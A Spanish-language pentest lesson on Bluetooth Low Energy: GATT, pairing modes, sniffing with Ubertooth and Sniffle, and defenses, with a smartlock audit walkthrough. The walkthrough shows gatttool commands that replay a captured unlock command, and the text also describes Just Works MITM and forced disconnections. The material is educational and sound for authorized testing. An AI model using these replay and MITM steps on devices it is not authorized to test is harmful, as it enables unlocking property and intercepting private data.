BLE pentest: GATT, pairing, sniffing con Ubertooth y ataques prácticos

Bluetooth Low Energy (BLE) está en todo: pulseras fitness, smartwatches, auriculares, cerraduras inteligentes, bombillas, sensores IoT, dispositivos médicos, llaves de coches modernos, trackers de equipaje tipo AirTag, cepillos de dientes. En 2026 cualquier auditoría de hogar inteligente, dispositivo wearable o IoT corporativo incluye análisis BLE. A diferencia de Bluetooth Classic (BR/EDR), BLE está diseñado para bajo consumo con conexiones cortas e intermitentes, y usa un modelo de datos propio (GATT) que los pentesters deben entender antes de atacar.

Esta lección cubre el stack BLE desde el advertising inicial hasta las conexiones GATT, los modos de pairing con sus distintos niveles de seguridad, sniffing con hardware especializado (Ubertooth, Sniffle, nRF52840 dongle), ataques prácticos (replay, MITM, pairing capture) y defensas con Bluetooth 5.x que hacen muchos ataques clásicos inviables.

Es la segunda lección del bloque hardware/IoT de la Tanda 6.

Prueba solo contra dispositivos propios o autorizados. Interceptar comunicación BLE de dispositivos ajenos puede violar privacidad y regulaciones.

El stack BLE#

Capas del stack BLE desde abajo hacia arriba:

• PHY: radio en 2.4 GHz con 40 canales (37 datos + 3 advertising).
• Link Layer: packets, estados (Standby, Advertising, Scanning, Initiating, Connection), timing.
• HCI (Host Controller Interface): separación entre chip (controller) y host (SO).
• L2CAP: multiplexing de canales.
• SMP (Security Manager Protocol): pairing y bonding.
• ATT (Attribute Protocol): cliente-servidor con handles y UUIDs.
• GATT (Generic Attribute Profile): estructura de datos: Services → Characteristics → Descriptors.
• GAP (Generic Access Profile): discovery y connection management.

GATT es lo que interesa al pentester en 99 % de los casos: ahí están los datos y comandos del dispositivo.

GATT: el modelo de datos#

Un servidor GATT (típicamente el dispositivo, p. ej. una pulsera) expone:

• Services: agrupaciones lógicas. Ej: Heart Rate Service (0x180D).
• Characteristics: datos/operaciones concretas dentro de un service. Ej: Heart Rate Measurement (0x2A37).
• Descriptors: metadata sobre characteristics.

Cada characteristic tiene propiedades (read, write, notify, indicate, write without response).

Para pentestear:

• Escanear → listar services y characteristics.
• Identificar UUIDs sospechosos (vendor-specific, no estándar BT SIG).
• Leer characteristics con permiso Read sin auth.
• Escribir en characteristics con permiso Write para enviar comandos.
• Suscribirse a Notify para observar datos.

Pairing modes y seguridad#

El SMP soporta varios modos con niveles muy distintos de seguridad:

• Just Works (Bluetooth 4.0-4.2 legacy): sin autenticación. MITM trivial.
• Passkey Entry: usuario introduce PIN. Mejor pero PIN corto es brute-forceable en algunos modos.
• Numeric Comparison (4.2+): ambos muestran número, usuario confirma. Resistente a MITM.
• Out of Band (OOB): intercambio de claves por NFC u otro canal. Más seguro.

LE Secure Connections (LE SC) desde Bluetooth 4.2 añade ECDH y protege el pairing contra atacantes pasivos. Muchos dispositivos siguen usando legacy pairing por compatibilidad o diseño descuidado, dejándose expuestos.

Herramientas de sniffing#

Ubertooth One#

Hardware clásico (~100 EUR). Sniffea advertising y connections. Software: ubertooth-util, ubertooth-btle. Limitación: solo un canal data a la vez; sin channel hopping completo.

nRF52840 dongle + Sniffle#

Más moderno y barato (~15 EUR el dongle). Sniffle (NCC Group) hace channel hopping siguiendo conexiones. Soporta BLE 5.x, coded PHY, LE 2M PHY.

# Instalar sniffle
pip install sniffle

# Scan
python3 -m sniffle.cli -c 37 -o capture.pcap

Importa en Wireshark; ver GATT, SMP, Link Layer.

Software puro#

• bettercap: scanner + MITM para BLE básico.
• gatttool (BlueZ): interacción manual con GATT.
• bleah: scanner Python.
• hcitool / hciconfig: BlueZ legacy.
• nRF Connect (Nordic): app Android/iOS para explorar dispositivos.

Ataques prácticos#

Replay#

Capturar un comando (abrir cerradura, enviar notificación) y reenviarlo. Si la aplicación no usa nonce, funciona.

Ejemplo: smartlock que envía 0x01 0x02 0xAB 0xCD para abrir. Captura con Sniffle, replay con un nRF dongle o Flipper con firmware BLE custom → abre.

Mitigación: nonce + crypto + session-specific key.

MITM clásico en Just Works#

Interponer dongle BLE entre dispositivo y teléfono durante pairing. Sin autenticación mutua (Just Works), ambos ven al atacante como el otro. Herramienta: BtleJuice.

Impacto: todo el tráfico BLE visible, posibilidad de inyectar.

GATT enumeración + abuse#

Herramienta:

gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary        # Lista services
> characteristics  # Lista characteristics
> char-read-hnd 0x002b
> char-write-req 0x002d 00010203

Buscar: characteristics con Write (comandos), characteristics con Read de datos sensibles, authentication bypasses (algunos devices permiten escribir sin pairing).

Deauthentication / connection reset#

Advertising frames falsos o paquetes LL_TERMINATE_IND fuerzan desconexiones. Útil para DoS o para forzar reconnection con MITM esperando.

BLE spam / advertisement flood#

Dispositivos como Flipper con payload custom envían advertising packets masivos con payloads de SwiftPair, Apple AirTags, etc. Causa UI spam en teléfonos nearby. Molesto pero no compromiso técnico.

CVE-2022-25837 (BrakTooth) y familia#

Vulns en stacks BT embebidos (ESP32, Intel chips, Qualcomm). Permiten DoS, info leak, RCE en algunos casos. Parcheos fragmentados.

Dispositivos típicamente vulnerables#

• Smartlocks baratos: muchos con Just Works + replay.
• Fitness trackers: datos sensibles leíbles sin pairing.
• Bombillas IoT: comandos sin auth.
• Sex toys (sí, mercado real para audit): varios casos documentados con replay.
• Lectores de glucosa / dispositivos médicos: parcialmente auditados; incidentes reportados.
• Trackers bluetooth (AirTag clones): problemas de stalker tracking.
• Scooters eléctricos: unlock commands interceptables en modelos antiguos.

Bluetooth 5.x mejoras#

Bluetooth 5.x añade:

• LE Coded PHY: largo alcance con FEC.
• LE 2M PHY: velocidad doble.
• Advertising extensions: paquetes más grandes.
• Mesh: redes BLE mesh.
• LE Audio (5.2+): audio baja latencia multi-dispositivo.

Para seguridad: Secure Connections obligatorio en muchos profiles, privacy features (RPA - Resolvable Private Address) hacen tracking por MAC más difícil.

Defensa#

• Usar LE Secure Connections siempre.
• Numeric Comparison o OOB para pairing en dispositivos sensibles.
• Bonding después de pairing para no repetir.
• Application layer crypto encima de BLE (AES-GCM, señalado por nonce).
• Rotar MAC addresses (RPA) para evitar tracking.
• MTU limits y rate limiting en GATT para prevenir enumeration abuse.
• Firmware updates signed con rollback protection.
• Pentest BLE anual en productos que lo usen.

Walkthrough: audit de smartlock BLE#

Para fijar el patrón, un flujo típico contra una cerradura BLE comprada en marketplaces chinos.

Paso 1 — reconocimiento:

# Scan con bettercap
sudo bettercap -eval "ble.recon on; sleep 10; ble.show"
# Identifica MAC address del lock y sus advertising data

Paso 2 — enumeración GATT:

# App móvil nRF Connect: connect, listar services
# O gatttool:
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
# Services: Generic Access, Generic Attribute, Battery, 0xffe0 (vendor)
> characteristics
# Characteristic 0xffe1 (Write + Notify) → candidate control

Paso 3 — sniff del comando real:

# Sniffle con nRF52840
python3 -m sniffle.cli -o lock.pcap
# Usuario abre con app → captura comando 0x01 0x02 0xAB 0xCD

Paso 4 — replay:

gatttool -b AA:BB:CC:DD:EE:FF --char-write-req \
  -a 0x002d -n 010203AB CD
# Cerradura abre

Paso 5 — reporte: no hay nonce, no hay auth app-layer, replay trivial. CVSS Alto si está instalada en entorno real.

Muchos smartlocks budget siguen con este patrón en 2026 porque regulación es laxa en IoT doméstico y el mercado gris es enorme.

Attack surface en Bluetooth Classic#

Esta lección se enfoca en BLE pero vale notar que Bluetooth Classic (BR/EDR) también sigue teniendo ataques relevantes:

• BlueBorne (2017): vulns de Linux, Android, iOS, Windows. Parches aplicados.
• KNOB attack (2019): downgrade de entropy en encryption key.
• BIAS attack (2020): impersonation durante secure connection establishment.
• BLUFFS (2023): varios issues en session establishment.

Dispositivos legacy (audio, speakers, teclados viejos) siguen usando Classic sin parches. En auditorías físicas se considera también.

Errores comunes del desarrollador#

• Just Works en dispositivo con acciones críticas (unlock, payment).
• GATT characteristics con Write sin pairing requirement.
• Static encryption keys hardcoded en firmware.
• No usar nonce/replay protection en app layer.
• MAC públicas sin RPA, facilitando tracking.
• Firmware sin signing → atacante con pin access puede flashear malicioso.

Preguntas frecuentes#

¿Qué hardware para empezar?#

nRF52840 dongle (15 EUR) + Sniffle para captura. gatttool desde Linux para interacción. Smartphone con nRF Connect para exploración GUI. Entry cost: ~20 EUR total.

¿BLE 5.3 es seguro?#

Si el dispositivo implementa correctamente Secure Connections + RPA + app-layer crypto, resistente a los ataques clásicos. Muchos dispositivos budget NO lo implementan bien.

¿Cómo encuentro vulnerabilidades en un wearable?#

1. Scan con nRF Connect, identificar services.
2. Observar tráfico durante uso normal.
3. Sniffear durante pairing con Ubertooth/Sniffle.
4. Intentar GATT ops sin pairing.
5. Reverse app móvil para entender protocolo custom.

¿Zigbee / Z-Wave similares?#

Zigbee y Z-Wave son otras tecnologías IoT inalámbricas. Técnicas conceptualmente similares; herramientas específicas (ApiMote, HackRF + GNU Radio). Fuera de alcance de esta lección.

¿Dónde practico?#

El laboratorio orion-recon de whoami-labs incluye simulación de dispositivo BLE con GATT vulnerable: characteristics con Write sin auth, pairing legacy, replay posible. Practicable sin hardware físico vía emulador BLE del lab.

¿Hay BLE en iOS/Android para red teaming?#

Sí. Apps nativas (CoreBluetooth en iOS, BluetoothLeScanner en Android) pueden enumerar y hablar con GATT. Útil para proof-of-concept sin hardware adicional. Apps como nRF Connect son gratis y potentes.

¿Qué pasa con AirTags y tracking?#

AirTags usan U1 chip + BLE. Apple implementó anti-stalking con detection de tags unknown siguiendo tu iPhone. Pero clones chinos y modificaciones de firmware han documentado bypasses. Ecosistema en evolución; investigadores de privacidad activos.

¿BLE mesh es seguro?#

BLE Mesh (desde 4.2) tiene provisioning y security propio con ECDH. Bien configurado es sólido; mal configurado permite impersonation. En instalaciones corporativas de smart building emerge como vector.

¿BLE 5.3 vs 5.4 vs futuro?#

Each incremento añade features (periodic adv enhancements, channel sounding para ranging preciso, lebet audio). Seguridad estructural no cambia mucho; la implementación en dispositivos varía más que el spec.

¿Es rentable especializarse en IoT/BLE security?#

Mercado creciente, oferta de talento escasa comparado con web/cloud. Consultoría especializada bien pagada. Bug bounties de compañías IoT (Tesla, Peloton, trackers) aceptan BLE reports. Camino de carrera viable para quien disfruta hardware.

Resumen#

• BLE está en millones de dispositivos: wearables, IoT, locks, medical.
• GATT: Services → Characteristics → Descriptors. Base del pentest.
• Pairing: Just Works (inseguro), Passkey, Numeric Comparison (mejor), OOB (bueno).
• LE Secure Connections (desde 4.2) protege contra pasivos.
• Herramientas: Sniffle + nRF52840, Ubertooth, gatttool, bettercap, nRF Connect.
• Ataques: replay, MITM Just Works, GATT abuse, advertisement spam.
• Defensa: LE SC + Numeric/OOB + crypto app-layer + RPA + firmware signing.

La curva de entrada a BLE es más empinada que web o cloud: hay que aprender el protocolo, invertir en hardware mínimo, y lidiar con dispositivos cuyo comportamiento no está documentado y requiere reverse engineering. Pero la recompensa es acceso a un mundo de vulnerabilidades que la mayoría de consultores no toca, lo que genera menos competencia y mejores tarifas para quien persevere los primeros meses de aprendizaje y práctica continua en el laboratorio propio con dispositivos diversos adquiridos puntualmente para disección técnica controlada y aprendizaje profundo del protocolo a nivel muy bajo del stack real en varios dispositivos distintos con comportamientos y firmware heterogéneos observables directamente.

Fuentes y lecturas recomendadas#

• Bluetooth SIG specs
• NCC Group Sniffle
• Ubertooth
• OWASP IoT Top 10